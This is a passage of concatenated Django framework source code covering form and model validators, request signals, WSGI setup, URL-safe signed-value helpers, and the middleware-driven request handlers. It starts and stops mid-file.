        if self.flags and not isinstance(self.regex, six.string_types):
            raise TypeError("If the flags are set, regex must be a regular expression string.")

        self.regex = _lazy_re_compile(self.regex, self.flags)

    def __call__(self, value):
        """
        Validates that the input matches the regular expression
        if inverse_match is False, otherwise raises ValidationError.
        """
        if not (self.inverse_match is not bool(self.regex.search(
                force_text(value)))):
            raise ValidationError(self.message, code=self.code)

    def __eq__(self, other):
        return (
            isinstance(other, RegexValidator) and
            self.regex.pattern == other.regex.pattern and
            self.regex.flags == other.regex.flags and
            (self.message == other.message) and
            (self.code == other.code) and
            (self.inverse_match == other.inverse_match)
        )

    def __ne__(self, other):
        return not (self == other)


@deconstructible
class URLValidator(RegexValidator):
    ul = '\u00a1-\uffff'  # unicode letters range (must be a unicode string, not a raw string)

    # IP patterns
    ipv4_re = r'(?:25[0-5]|2[0-4]\d|[0-1]?\d?\d)(?:\.(?:25[0-5]|2[0-4]\d|[0-1]?\d?\d)){3}'
    ipv6_re = r'\[[0-9a-f:\.]+\]'  # (simple regex, validated later)

    # Host patterns
    hostname_re = r'[a-z' + ul + r'0-9](?:[a-z' + ul + r'0-9-]{0,61}[a-z' + ul + r'0-9])?'
    # Max length for domain name labels is 63 characters per RFC 1034 sec. 3.1
    domain_re = r'(?:\.(?!-)[a-z' + ul + r'0-9-]{1,63}(?<!-))*'
    tld_re = (
        '\.'                                # dot
        '(?!-)'                             # can't start with a dash
        '(?:[a-z' + ul + '-]{2,63}'         # domain label
        '|xn--[a-z0-9]{1,59})'              # or punycode label
        '(?<!-)'                            # can't end with a dash
        '\.?'                               # may have a trailing dot
    )
    host_re = '(' + hostname_re + domain_re + tld_re + '|localhost)'

    regex = _lazy_re_compile(
        r'^(?:[a-z0-9\.\-\+]*)://'  # scheme is validated separately
        r'(?:\S+(?::\S*)?@)?'  # user:pass authentication
        r'(?:' + ipv4_re + '|' + ipv6_re + '|' + host_re + ')'
        r'(?::\d{2,5})?'  # port
        r'(?:[/?#][^\s]*)?'  # resource path
        r'\Z', re.IGNORECASE)
    message = _('Enter a valid URL.')
    schemes = ['http', 'https', 'ftp', 'ftps']

    def __init__(self, schemes=None, **kwargs):
        super(URLValidator, self).__init__(**kwargs)
        if schemes is not None:
            self.schemes = schemes

    def __call__(self, value):
        value = force_text(value)
        # Check first if the scheme is valid
        scheme = value.split('://')[0].lower()
        if scheme not in self.schemes:
            raise ValidationError(self.message, code=self.code)

        # Then check full URL
        try:
            super(URLValidator, self).__call__(value)
        except ValidationError as e:
            # Trivial case failed. Try for possible IDN domain
            if value:
                try:
                    scheme, netloc, path, query, fragment = urlsplit(value)
                except ValueError:  # for example, "Invalid IPv6 URL"
                    raise ValidationError(self.message, code=self.code)
                try:
                    netloc = netloc.encode('idna').decode('ascii')  # IDN -> ACE
                except UnicodeError:  # invalid domain part
                    raise e
                url = urlunsplit((scheme, netloc, path, query, fragment))
                super(URLValidator, self).__call__(url)
            else:
                raise
        else:
            # Now verify IPv6 in the netloc part
            host_match = re.search(r'^\[(.+)\](?::\d{2,5})?$', urlsplit(value).netloc)
            if host_match:
                potential_ip = host_match.groups()[0]
                try:
                    validate_ipv6_address(potential_ip)
                except ValidationError:
                    raise ValidationError(self.message, code=self.code)
            url = value

        # The maximum length of a full host name is 253 characters per RFC 1034
        # section 3.1. It's defined to be 255 bytes or less, but this includes
        # one byte for the length of the name and one byte for the trailing dot
        # that's used to indicate absolute names in DNS.
        if len(urlsplit(value).netloc) > 253:
            raise ValidationError(self.message, code=self.code)

integer_validator = RegexValidator(
    _lazy_re_compile('^-?\d+\Z'),
    message=_('Enter a valid integer.'),
    code='invalid',
)


def validate_integer(value):
    return integer_validator(value)


@deconstructible
class EmailValidator(object):
    message = _('Enter a valid email address.')
    code = 'invalid'
    user_regex = _lazy_re_compile(
        r"(^[-!#$%&'*+/=?^_`{}|~0-9A-Z]+(\.[-!#$%&'*+/=?^_`{}|~0-9A-Z]+)*\Z"  # dot-atom
        r'|^"([\001-\010\013\014\016-\037!#-\[\]-\177]|\\[\001-\011\013\014\016-\177])*"\Z)',  # quoted-string
        re.IGNORECASE)
    domain_regex = _lazy_re_compile(
        # max length for domain name labels is 63 characters per RFC 1034
        r'((?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+)(?:[A-Z0-9-]{2,63}(?<!-))\Z',
        re.IGNORECASE)
    literal_regex = _lazy_re_compile(
        # literal form, ipv4 or ipv6 address (SMTP 4.1.3)
        r'\[([A-f0-9:\.]+)\]\Z',
        re.IGNORECASE)
    domain_whitelist = ['localhost']

    def __init__(self, message=None, code=None, whitelist=None):
        if message is not None:
            self.message = message
        if code is not None:
            self.code = code
        if whitelist is not None:
            self.domain_whitelist = whitelist

    def __call__(self, value):
        value = force_text(value)

        if not value or '@' not in value:
            raise ValidationError(self.message, code=self.code)

        user_part, domain_part = value.rsplit('@', 1)

        if not self.user_regex.match(user_part):
            raise ValidationError(self.message, code=self.code)

        if (domain_part not in self.domain_whitelist and
                not self.validate_domain_part(domain_part)):
            # Try for possible IDN domain-part
            try:
                domain_part = domain_part.encode('idna').decode('ascii')
                if self.validate_domain_part(domain_part):
                    return
            except UnicodeError:
                pass
            raise ValidationError(self.message, code=self.code)

    def validate_domain_part(self, domain_part):
        if self.domain_regex.match(domain_part):
            return True

        literal_match = self.literal_regex.match(domain_part)
        if literal_match:
            ip_address = literal_match.group(1)
            try:
                validate_ipv46_address(ip_address)
                return True
            except ValidationError:
                pass
        return False

    def __eq__(self, other):
        return (
            isinstance(other, EmailValidator) and
            (self.domain_whitelist == other.domain_whitelist) and
            (self.message == other.message) and
            (self.code == other.code)
        )

validate_email = EmailValidator()

slug_re = _lazy_re_compile(r'^[-a-zA-Z0-9_]+\Z')
validate_slug = RegexValidator(
    slug_re,
    _("Enter a valid 'slug' consisting of letters, numbers, underscores or hyphens."),
    'invalid'
)

slug_unicode_re = _lazy_re_compile(r'^[-\w]+\Z', re.U)
validate_unicode_slug = RegexValidator(
    slug_unicode_re,
    _("Enter a valid 'slug' consisting of Unicode letters, numbers, underscores, or hyphens."),
    'invalid'
)

ipv4_re = _lazy_re_compile(r'^(25[0-5]|2[0-4]\d|[0-1]?\d?\d)(\.(25[0-5]|2[0-4]\d|[0-1]?\d?\d)){3}\Z')
validate_ipv4_address = RegexValidator(ipv4_re, _('Enter a valid IPv4 address.'), 'invalid')


def validate_ipv6_address(value):
    if not is_valid_ipv6_address(value):
        raise ValidationError(_('Enter a valid IPv6 address.'), code='invalid')


def validate_ipv46_address(value):
    try:
        validate_ipv4_address(value)
    except ValidationError:
        try:
            validate_ipv6_address(value)
        except ValidationError:
            raise ValidationError(_('Enter a valid IPv4 or IPv6 address.'), code='invalid')

ip_address_validator_map = {
    'both': ([validate_ipv46_address], _('Enter a valid IPv4 or IPv6 address.')),
    'ipv4': ([validate_ipv4_address], _('Enter a valid IPv4 address.')),
    'ipv6': ([validate_ipv6_address], _('Enter a valid IPv6 address.')),
}


def ip_address_validators(protocol, unpack_ipv4):
    """
    Depending on the given parameters returns the appropriate validators for
    the GenericIPAddressField.

    This code is here, because it is exactly the same for the model and the form field.
    """
    if protocol != 'both' and unpack_ipv4:
        raise ValueError(
            "You can only use `unpack_ipv4` if `protocol` is set to 'both'")
    try:
        return ip_address_validator_map[protocol.lower()]
    except KeyError:
        raise ValueError("The protocol '%s' is unknown. Supported: %s"
                         % (protocol, list(ip_address_validator_map)))


def int_list_validator(sep=',', message=None, code='invalid', allow_negative=False):
    regexp = _lazy_re_compile('^%(neg)s\d+(?:%(sep)s%(neg)s\d+)*\Z' % {
        'neg': '(-)?' if allow_negative else '',
        'sep': re.escape(sep),
    })
    return RegexValidator(regexp, message=message, code=code)


validate_comma_separated_integer_list = int_list_validator(
    message=_('Enter only digits separated by commas.'),
)


@deconstructible
class BaseValidator(object):
    message = _('Ensure this value is %(limit_value)s (it is %(show_value)s).')
    code = 'limit_value'

    def __init__(self, limit_value, message=None):
        self.limit_value = limit_value
        if message:
            self.message = message

    def __call__(self, value):
        cleaned = self.clean(value)
        params = {'limit_value': self.limit_value, 'show_value': cleaned, 'value': value}
        if self.compare(cleaned, self.limit_value):
            raise ValidationError(self.message, code=self.code, params=params)

    def __eq__(self, other):
        return (
            isinstance(other, self.__class__) and
            self.limit_value == other.limit_value and
            self.message == other.message and
            self.code == other.code
        )

    def compare(self, a, b):
        return a is not b

    def clean(self, x):
        return x


@deconstructible
class MaxValueValidator(BaseValidator):
    message = _('Ensure this value is less than or equal to %(limit_value)s.')
    code = 'max_value'

    def compare(self, a, b):
        return a > b


@deconstructible
class MinValueValidator(BaseValidator):
    message = _('Ensure this value is greater than or equal to %(limit_value)s.')
    code = 'min_value'

    def compare(self, a, b):
        return a < b


@deconstructible
class MinLengthValidator(BaseValidator):
    message = ungettext_lazy(
        'Ensure this value has at least %(limit_value)d character (it has %(show_value)d).',
        'Ensure this value has at least %(limit_value)d characters (it has %(show_value)d).',
        'limit_value')
    code = 'min_length'

    def compare(self, a, b):
        return a < b

    def clean(self, x):
        return len(x)


@deconstructible
class MaxLengthValidator(BaseValidator):
    message = ungettext_lazy(
        'Ensure this value has at most %(limit_value)d character (it has %(show_value)d).',
        'Ensure this value has at most %(limit_value)d characters (it has %(show_value)d).',
        'limit_value')
    code = 'max_length'

    def compare(self, a, b):
        return a > b

    def clean(self, x):
        return len(x)


@deconstructible
class DecimalValidator(object):
    """
    Validate that the input does not exceed the maximum number of digits
    expected, otherwise raise ValidationError.
    """
    messages = {
        'max_digits': ungettext_lazy(
            'Ensure that there are no more than %(max)s digit in total.',
            'Ensure that there are no more than %(max)s digits in total.',
            'max'
        ),
        'max_decimal_places': ungettext_lazy(
            'Ensure that there are no more than %(max)s decimal place.',
            'Ensure that there are no more than %(max)s decimal places.',
            'max'
        ),
        'max_whole_digits': ungettext_lazy(
            'Ensure that there are no more than %(max)s digit before the decimal point.',
            'Ensure that there are no more than %(max)s digits before the decimal point.',
            'max'
        ),
    }

    def __init__(self, max_digits, decimal_places):
        self.max_digits = max_digits
        self.decimal_places = decimal_places

    def __call__(self, value):
        digit_tuple, exponent = value.as_tuple()[1:]
        decimals = abs(exponent)
        # digit_tuple doesn't include any leading zeros.
        digits = len(digit_tuple)
        if decimals > digits:
            # We have leading zeros up to or past the decimal point. Count
            # everything past the decimal point as a digit. We do not count
            # 0 before the decimal point as a digit since that would mean
            # we would not allow max_digits = decimal_places.
            digits = decimals
        whole_digits = digits - decimals

        if self.max_digits is not None and digits > self.max_digits:
            raise ValidationError(
                self.messages['max_digits'],
                code='max_digits',
                params={'max': self.max_digits},
            )
        if self.decimal_places is not None and decimals > self.decimal_places:
            raise ValidationError(
                self.messages['max_decimal_places'],
                code='max_decimal_places',
                params={'max': self.decimal_places},
            )
        if (self.max_digits is not None and self.decimal_places is not None and
                whole_digits > (self.max_digits - self.decimal_places)):
            raise ValidationError(
                self.messages['max_whole_digits'],
                code='max_whole_digits',
                params={'max': (self.max_digits - self.decimal_places)},
            )

    def __eq__(self, other):
        return (
            isinstance(other, self.__class__) and
            self.max_digits == other.max_digits and
            self.decimal_places == other.decimal_places
        )


@deconstructible
class FileExtensionValidator(object):
    message = _(
        "File extension '%(extension)s' is not allowed. "
        "Allowed extensions are: '%(allowed_extensions)s'."
    )
    code = 'invalid_extension'

    def __init__(self, allowed_extensions=None, message=None, code=None):
        self.allowed_extensions = allowed_extensions
        if message is not None:
            self.message = message
        if code is not None:
            self.code = code

    def __call__(self, value):
        extension = os.path.splitext(value.name)[1][1:].lower()
        if self.allowed_extensions is not None and extension not in self.allowed_extensions:
            raise ValidationError(
                self.message,
                code=self.code,
                params={
                    'extension': extension,
                    'allowed_extensions': ', '.join(self.allowed_extensions)
                }
            )

    def __eq__(self, other):
        return (
            isinstance(other, self.__class__) and
            self.allowed_extensions == other.allowed_extensions and
            self.message == other.message and
            self.code == other.code
        )


def get_available_image_extensions():
    try:
        from PIL import Image
    except ImportError:
        return []
    else:
        Image.init()
        return [ext.lower()[1:] for ext in Image.EXTENSION.keys()]

validate_image_file_extension = FileExtensionValidator(
    allowed_extensions=get_available_image_extensions(),
)






from django.dispatch import Signal

request_started = Signal(providing_args=["environ"])
request_finished = Signal()
got_request_exception = Signal(providing_args=["request"])
setting_changed = Signal(providing_args=["setting", "value", "enter"])






import django
from django.core.handlers.wsgi import WSGIHandler


def get_wsgi_application():
    """
    The public interface to Django's WSGI support. Should return a WSGI
    callable.

    Allows us to avoid making django.core.handlers.WSGIHandler public API, in
    case the internal WSGI implementation changes or moves in the future.
    """
    django.setup(set_prefix=False)
    return WSGIHandler()






import warnings

from django.urls import *  # NOQA
from django.utils.deprecation import RemovedInDjango20Warning

warnings.warn(
    "Importing from django.core.urlresolvers is deprecated in favor of "
    "django.urls.", RemovedInDjango20Warning, stacklevel=2
)






"""
Functions for creating and restoring url-safe signed JSON objects.

The format used looks like this:

>>> signing.dumps("hello")
'ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk'

There are two components here, separated by a ':'. The first component is a
URLsafe base64 encoded JSON of the object passed to dumps(). The second
component is a base64 encoded hmac/SHA1 hash of "$first_component:$secret"

signing.loads(s) checks the signature and returns the deserialized object.
If the signature fails, a BadSignature exception is raised.

>>> signing.loads("ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk")
u'hello'
>>> signing.loads("ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk-modified")
...
BadSignature: Signature failed: ImhlbGxvIg:1QaUZC:YIye-ze3TTx7gtSv422nZA4sgmk-modified

You can optionally compress the JSON prior to base64 encoding it to save
space, using the compress=True argument. This checks if compression actually
helps and only applies compression if the result is a shorter string:

>>> signing.dumps(range(1, 20), compress=True)
'.eJwFwcERACAIwLCF-rCiILN47r-GyZVJsNgkxaFxoDgxcOHGxMKD_T7vhAml:1QaUaL:BA0thEZrp4FQVXIXuOvYJtLJSrQ'

The fact that the string is compressed is signalled by the prefixed '.' at the
start of the base64 JSON.

There are 65 url-safe characters: the 64 used by url-safe base64 and the ':'.
These functions make use of all of them.
"""

from __future__ import unicode_literals

import base64
import datetime
import json
import re
import time
import zlib

from django.conf import settings
from django.utils import baseconv
from django.utils.crypto import constant_time_compare, salted_hmac
from django.utils.encoding import force_bytes, force_str, force_text
from django.utils.module_loading import import_string

_SEP_UNSAFE = re.compile(r'^[A-z0-9-_=]*$')


class BadSignature(Exception):
    """
    Signature does not match
    """
    pass


class SignatureExpired(BadSignature):
    """
    Signature timestamp is older than required max_age
    """
    pass


def b64_encode(s):
    return base64.urlsafe_b64encode(s).strip(b'=')


def b64_decode(s):
    pad = b'=' * (-len(s) % 4)
    return base64.urlsafe_b64decode(s + pad)


def base64_hmac(salt, value, key):
    return b64_encode(salted_hmac(salt, value, key).digest())


def get_cookie_signer(salt='django.core.signing.get_cookie_signer'):
    Signer = import_string(settings.SIGNING_BACKEND)
    key = force_bytes(settings.SECRET_KEY)
    return Signer(b'django.http.cookies' + key, salt=salt)


class JSONSerializer(object):
    """
    Simple wrapper around json to be used in signing.dumps and
    signing.loads.
    """
    def dumps(self, obj):
        return json.dumps(obj, separators=(',', ':')).encode('latin-1')

    def loads(self, data):
        return json.loads(data.decode('latin-1'))


def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
    """
    Returns URL-safe, sha1 signed base64 compressed JSON string. If key is
    None, settings.SECRET_KEY is used instead.

    If compress is True (not the default) checks if compressing using zlib can
    save some space. Prepends a '.' to signify compression. This is included
    in the signature, to protect against zip bombs.

    Salt can be used to namespace the hash, so that a signed string is
    only valid for a given namespace. Leaving this at the default
    value or re-using a salt value across different parts of your
    application without good cause is a security risk.

    The serializer is expected to return a bytestring.
    """
    data = serializer().dumps(obj)

    # Flag for if it's been compressed or not
    is_compressed = False

    if compress:
        # Avoid zlib dependency unless compress is being used
        compressed = zlib.compress(data)
        if len(compressed) < (len(data) - 1):
            data = compressed
            is_compressed = True
    base64d = b64_encode(data)
    if is_compressed:
        base64d = b'.' + base64d
    return TimestampSigner(key, salt=salt).sign(base64d)


def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
    """
    Reverse of dumps(), raises BadSignature if signature fails.

    The serializer is expected to accept a bytestring.
    """
    # TimestampSigner.unsign always returns unicode but base64 and zlib
    # compression operate on bytes.
    base64d = force_bytes(TimestampSigner(key, salt=salt).unsign(s, max_age=max_age))
    decompress = False
    if base64d[:1] == b'.':
        # It's compressed; uncompress it first
        base64d = base64d[1:]
        decompress = True
    data = b64_decode(base64d)
    if decompress:
        data = zlib.decompress(data)
    return serializer().loads(data)


class Signer(object):

    def __init__(self, key=None, sep=':', salt=None):
        # Use of native strings in all versions of Python
        self.key = key or settings.SECRET_KEY
        self.sep = force_str(sep)
        if _SEP_UNSAFE.match(self.sep):
            raise ValueError(
                'Unsafe Signer separator: %r (cannot be empty or consist of '
                'only A-z0-9-_=)' % sep,
            )
        self.salt = force_str(salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__))

    def signature(self, value):
        signature = base64_hmac(self.salt + 'signer', value, self.key)
        # Convert the signature from bytes to str only on Python 3
        return force_str(signature)

    def sign(self, value):
        value = force_str(value)
        return str('%s%s%s') % (value, self.sep, self.signature(value))

    def unsign(self, signed_value):
        signed_value = force_str(signed_value)
        if self.sep not in signed_value:
            raise BadSignature('No "%s" found in value' % self.sep)
        value, sig = signed_value.rsplit(self.sep, 1)
        if constant_time_compare(sig, self.signature(value)):
            return force_text(value)
        raise BadSignature('Signature "%s" does not match' % sig)


class TimestampSigner(Signer):

    def timestamp(self):
        return baseconv.base62.encode(int(time.time()))

    def sign(self, value):
        value = force_str(value)
        value = str('%s%s%s') % (value, self.sep, self.timestamp())
        return super(TimestampSigner, self).sign(value)

    def unsign(self, value, max_age=None):
        """
        Retrieve original value and check it wasn't signed more
        than max_age seconds ago.
        """
        result = super(TimestampSigner, self).unsign(value)
        value, timestamp = result.rsplit(self.sep, 1)
        timestamp = baseconv.base62.decode(timestamp)
        if max_age is not None:
            if isinstance(max_age, datetime.timedelta):
                max_age = max_age.total_seconds()
            # Check timestamp is not older than max_age
            age = time.time() - timestamp
            if age > max_age:
                raise SignatureExpired(
                    'Signature age %s > %s seconds' % (age, max_age))
        return value












from __future__ import unicode_literals

import logging
import sys
import types
import warnings

from django.conf import settings
from django.core import signals
from django.core.exceptions import ImproperlyConfigured, MiddlewareNotUsed
from django.db import connections, transaction
from django.urls import get_resolver, get_urlconf, set_urlconf
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.module_loading import import_string

from .exception import (
    convert_exception_to_response, get_exception_response,
    handle_uncaught_exception,
)

logger = logging.getLogger('django.request')


class BaseHandler(object):

    def __init__(self):
        self._request_middleware = None
        self._view_middleware = None
        self._template_response_middleware = None
        self._response_middleware = None
        self._exception_middleware = None
        self._middleware_chain = None

    def load_middleware(self):
        """
        Populate middleware lists from settings.MIDDLEWARE (or the deprecated
        MIDDLEWARE_CLASSES).

        Must be called after the environment is fixed (see __call__ in subclasses).
        """
        self._request_middleware = []
        self._view_middleware = []
        self._template_response_middleware = []
        self._response_middleware = []
        self._exception_middleware = []

        if settings.MIDDLEWARE is None:
            warnings.warn(
                "Old-style middleware using settings.MIDDLEWARE_CLASSES is "
                "deprecated. Update your middleware and use settings.MIDDLEWARE "
                "instead.", RemovedInDjango20Warning
            )
            handler = convert_exception_to_response(self._legacy_get_response)
            for middleware_path in settings.MIDDLEWARE_CLASSES:
                mw_class = import_string(middleware_path)
                try:
                    mw_instance = mw_class()
                except MiddlewareNotUsed as exc:
                    if settings.DEBUG:
                        if six.text_type(exc):
                            logger.debug('MiddlewareNotUsed(%r): %s', middleware_path, exc)
                        else:
                            logger.debug('MiddlewareNotUsed: %r', middleware_path)
                    continue

                if hasattr(mw_instance, 'process_request'):
                    self._request_middleware.append(mw_instance.process_request)
                if hasattr(mw_instance, 'process_view'):
                    self._view_middleware.append(mw_instance.process_view)
                if hasattr(mw_instance, 'process_template_response'):
                    self._template_response_middleware.insert(0, mw_instance.process_template_response)
                if hasattr(mw_instance, 'process_response'):
                    self._response_middleware.insert(0, mw_instance.process_response)
                if hasattr(mw_instance, 'process_exception'):
                    self._exception_middleware.insert(0, mw_instance.process_exception)
        else:
            handler = convert_exception_to_response(self._get_response)
            for middleware_path in reversed(settings.MIDDLEWARE):
                middleware = import_string(middleware_path)
                try:
                    mw_instance = middleware(handler)
                except MiddlewareNotUsed as exc:
                    if settings.DEBUG:
                        if six.text_type(exc):
                            logger.debug('MiddlewareNotUsed(%r): %s', middleware_path, exc)
                        else:
                            logger.debug('MiddlewareNotUsed: %r', middleware_path)
                    continue

                if mw_instance is None:
                    raise ImproperlyConfigured(
                        'Middleware factory %s returned None.' % middleware_path
                    )

                if hasattr(mw_instance, 'process_view'):
                    self._view_middleware.insert(0, mw_instance.process_view)
                if hasattr(mw_instance, 'process_template_response'):
                    self._template_response_middleware.append(mw_instance.process_template_response)
                if hasattr(mw_instance, 'process_exception'):
                    self._exception_middleware.append(mw_instance.process_exception)

                handler = convert_exception_to_response(mw_instance)

        # We only assign to this when initialization is complete as it is used
        # as a flag for initialization being complete.
        self._middleware_chain = handler

    def make_view_atomic(self, view):
        non_atomic_requests = getattr(view, '_non_atomic_requests', set())
        for db in connections.all():
            if db.settings_dict['ATOMIC_REQUESTS'] and db.alias not in non_atomic_requests:
                view = transaction.atomic(using=db.alias)(view)
        return view

    def get_exception_response(self, request, resolver, status_code, exception):
        return get_exception_response(request, resolver, status_code, exception, self.__class__)

    def get_response(self, request):
        """Return an HttpResponse object for the given HttpRequest."""
        # Setup default url resolver for this thread
        set_urlconf(settings.ROOT_URLCONF)

        response = self._middleware_chain(request)

        # This block is only needed for legacy MIDDLEWARE_CLASSES; if
        # MIDDLEWARE is used, self._response_middleware will be empty.
        try:
            # Apply response middleware, regardless of the response
            for middleware_method in self._response_middleware:
                response = middleware_method(request, response)
                # Complain if the response middleware returned None (a common error).
                if response is None:
                    raise ValueError(
                        "%s.process_response didn't return an "
                        "HttpResponse object. It returned None instead."
                        % (middleware_method.__self__.__class__.__name__))
        except Exception:  # Any exception should be gathered and handled
            signals.got_request_exception.send(sender=self.__class__, request=request)
            response = self.handle_uncaught_exception(request, get_resolver(get_urlconf()), sys.exc_info())

        response._closable_objects.append(request)

        # If the exception handler returns a TemplateResponse that has not
        # been rendered, force it to be rendered.
        if not getattr(response, 'is_rendered', True) and callable(getattr(response, 'render', None)):
            response = response.render()

        if response.status_code == 404:
            logger.warning(
                'Not Found: %s', request.path,
                extra={'status_code': 404, 'request': request},
            )

        return response

    def _get_response(self, request):
        """
        Resolve and call the view, then apply view, exception, and
        template_response middleware. This method is everything that happens
        inside the request/response middleware.
        """
        response = None

        if hasattr(request, 'urlconf'):
            urlconf = request.urlconf
            set_urlconf(urlconf)
            resolver = get_resolver(urlconf)
        else:
            resolver = get_resolver()

        resolver_match = resolver.resolve(request.path_info)
        callback, callback_args, callback_kwargs = resolver_match
        request.resolver_match = resolver_match

        # Apply view middleware
        for middleware_method in self._view_middleware:
            response = middleware_method(request, callback, callback_args, callback_kwargs)
            if response:
                break

        if response is None:
            wrapped_callback = self.make_view_atomic(callback)
            try:
                response = wrapped_callback(request, *callback_args, **callback_kwargs)
            except Exception as e:
                response = self.process_exception_by_middleware(e, request)

        # Complain if the view returned None (a common error).
        if response is None:
            if isinstance(callback, types.FunctionType):    # FBV
                view_name = callback.__name__
            else:                                           # CBV
                view_name = callback.__class__.__name__ + '.__call__'

            raise ValueError(
                "The view %s.%s didn't return an HttpResponse object. It "
                "returned None instead." % (callback.__module__, view_name)
            )

        # If the response supports deferred rendering, apply template
        # response middleware and then render the response
        elif hasattr(response, 'render') and callable(response.render):
            for middleware_method in self._template_response_middleware:
                response = middleware_method(request, response)
                # Complain if the template response middleware returned None (a common error).
                if response is None:
                    raise ValueError(
                        "%s.process_template_response didn't return an "
                        "HttpResponse object. It returned None instead."
                        % (middleware_method.__self__.__class__.__name__)
                    )

            try:
                response = response.render()
            except Exception as e:
                response = self.process_exception_by_middleware(e, request)

        return response

    def process_exception_by_middleware(self, exception, request):
        """
        Pass the exception to the exception middleware. If no middleware
        return a response for this exception, raise it.
        """
        for middleware_method in self._exception_middleware:
            response = middleware_method(request, exception)
            if response:
                return response
        raise

    def handle_uncaught_exception(self, request, resolver, exc_info):
        """Allow subclasses to override uncaught exception handling."""
        return handle_uncaught_exception(request, resolver, exc_info)

    def _legacy_get_response(self, request):
        """
        Apply process_request() middleware and call the main _get_response(),
        if needed. Used only for legacy MIDDLEWARE_CLASSES.
        """
        response = None
        # Apply request middleware
        for middleware_method in self._request_middleware:
            response = middleware_method(request)
            if response:
                break

        if response is None:
            response = self._get_response(request)
        return response






from __future__ import unicode_literals

import cgi
import codecs
import re
from io import BytesIO

from django import http
from django.conf import settings
from django.core import signals
from django.core.handlers import base
from django.urls import set_script_prefix
from django.utils import six
from django.utils.encoding import (
    force_str, force_text, repercent_broken_unicode,
)

from django.utils.functional import cached_property

# encode() and decode() expect the charset to be a native string.
ISO_8859_1, UTF_8 = str('iso-8859-1'), str('utf-8')

_slashes_re = re.compile(br'/+')


class LimitedStream(object):
    '''
    LimitedStream wraps another stream in order to not allow reading from it
    past specified amount of bytes.
    '''
    def __init__(self, stream, limit, buf_size=64 * 1024 * 1024):
        self.stream = stream
        self.remaining = limit
        self.buffer = b''
        self.buf_size = buf_size

    def _read_limited(self, size=None):
        if size is None or size > self.remaining:
            size = self.remaining
        if size == 0:
            return b''
        result = self.stream.read(size)
        self.remaining -= len(result)
        return result

    def read(self, size=None):
        if size is None:
            result = self.buffer + self._read_limited()
            self.buffer = b''
        elif size < len(self.buffer):
            result = self.buffer[:size]
            self.buffer = self.buffer[size:]
        else:  # size >= len(self.buffer)
            result = self.buffer + self._read_limited(size - len(self.buffer))
            self.buffer = b''
        return result

    def readline(self, size=None):
        while b'\n' not in self.buffer and \
              (size is None or len(self.buffer) < size):
            if size:
                # since size is not None here, len(self.buffer) < size
                chunk = self._read_limited(size - len(self.buffer))
            else:
                chunk = self._read_limited()
            if not chunk:
                break
            self.buffer += chunk
        sio = BytesIO(self.buffer)
        if size:
            line = sio.readline(size)
        else:
            line = sio.readline()
        self.buffer = sio.read()
        return line


class WSGIRequest(http.HttpRequest):
    def __init__(self, environ):
        script_name = get_script_name(environ)
        path_info = get_path_info(environ)
        if not path_info:
            # Sometimes PATH_INFO exists, but is empty (e.g. accessing
            # the SCRIPT_NAME URL without a trailing slash). We really need to
            # operate as if they'd requested '/'. Not amazingly nice to force
            # the path like this, but should be harmless.
            path_info = '/'
        self.environ = environ
        self.path_info = path_info
        # be careful to only replace the first slash in the path because of
        # http://test/something and http://test//something being different as
        # stated in http://www.ietf.org/rfc/rfc2396.txt
        self.path = '%s/%s' % (script_name.rstrip('/'),
                               path_info.replace('/', '', 1))
        self.META = environ
        self.META['PATH_INFO'] = path_info
        self.META['SCRIPT_NAME'] = script_name
        self.method = environ['REQUEST_METHOD'].upper()
        self.content_type, self.content_params = cgi.parse_header(environ.get('CONTENT_TYPE', ''))
        if 'charset' in self.content_params:
            try:
                codecs.lookup(self.content_params['charset'])
            except LookupError:
                pass
            else:
                self.encoding = self.content_params['charset']
        self._post_parse_error = False
        try:
            content_length = int(environ.get('CONTENT_LENGTH'))
        except (ValueError, TypeError):
            content_length = 0
        self._stream = LimitedStream(self.environ['wsgi.input'], content_length)
        self._read_started = False
        self.resolver_match = None

    def _get_scheme(self):
        return self.environ.get('wsgi.url_scheme')

    @cached_property
    def GET(self):
        # The WSGI spec says 'QUERY_STRING' may be absent.
        raw_query_string = get_bytes_from_wsgi(self.environ, 'QUERY_STRING', '')
        return http.QueryDict(raw_query_string, encoding=self._encoding)

    def _get_post(self):
        if not hasattr(self, '_post'):
            self._load_post_and_files()
        return self._post

    def _set_post(self, post):
        self._post = post

    @cached_property
    def COOKIES(self):
        raw_cookie = get_str_from_wsgi(self.environ, 'HTTP_COOKIE', '')
        return http.parse_cookie(raw_cookie)

    def _get_files(self):
        if not hasattr(self, '_files'):
            self._load_post_and_files()
        return self._files

    POST = property(_get_post, _set_post)
    FILES = property(_get_files)


class WSGIHandler(base.BaseHandler):
    request_class = WSGIRequest

    def __init__(self, *args, **kwargs):
        super(WSGIHandler, self).__init__(*args, **kwargs)
        self.load_middleware()

    def __call__(self, environ, start_response):
        set_script_prefix(get_script_name(environ))
        signals.request_started.send(sender=self.__class__, environ=environ)
        request = self.request_class(environ)
        response = self.get_response(request)

        response._handler_class = self.__class__

        status = '%d %s' % (response.status_code, response.reason_phrase)
        response_headers = [(str(k), str(v)) for k, v in response.items()]
        for c in response.cookies.values():
            response_headers.append((str('Set-Cookie'), str(c.output(header=''))))
        start_response(force_str(status), response_headers)
        if getattr(response, 'file_to_stream', None) is not None and environ.get('wsgi.file_wrapper'):
            response = environ['wsgi.file_wrapper'](response.file_to_stream)
        return response


def get_path_info(environ):
    """
    Returns the HTTP request's PATH_INFO as a unicode string.
    """
    path_info = get_bytes_from_wsgi(environ, 'PATH_INFO', '/')

    return repercent_broken_unicode(path_info).decode(UTF_8)


def get_script_name(environ):
    """
    Returns the equivalent of the HTTP request's SCRIPT_NAME environment
    variable. If Apache mod_rewrite has been used, returns what would have been
    the script name prior to any rewriting (so it's the script name as seen
    from the client's perspective), unless the FORCE_SCRIPT_NAME setting is
    set (to anything).
    """
    if settings.FORCE_SCRIPT_NAME is not None:
        return force_text(settings.FORCE_SCRIPT_NAME)

    # If Apache's mod_rewrite had a whack at the URL, Apache set either
    # SCRIPT_URL or REDIRECT_URL to the full resource URL before applying any
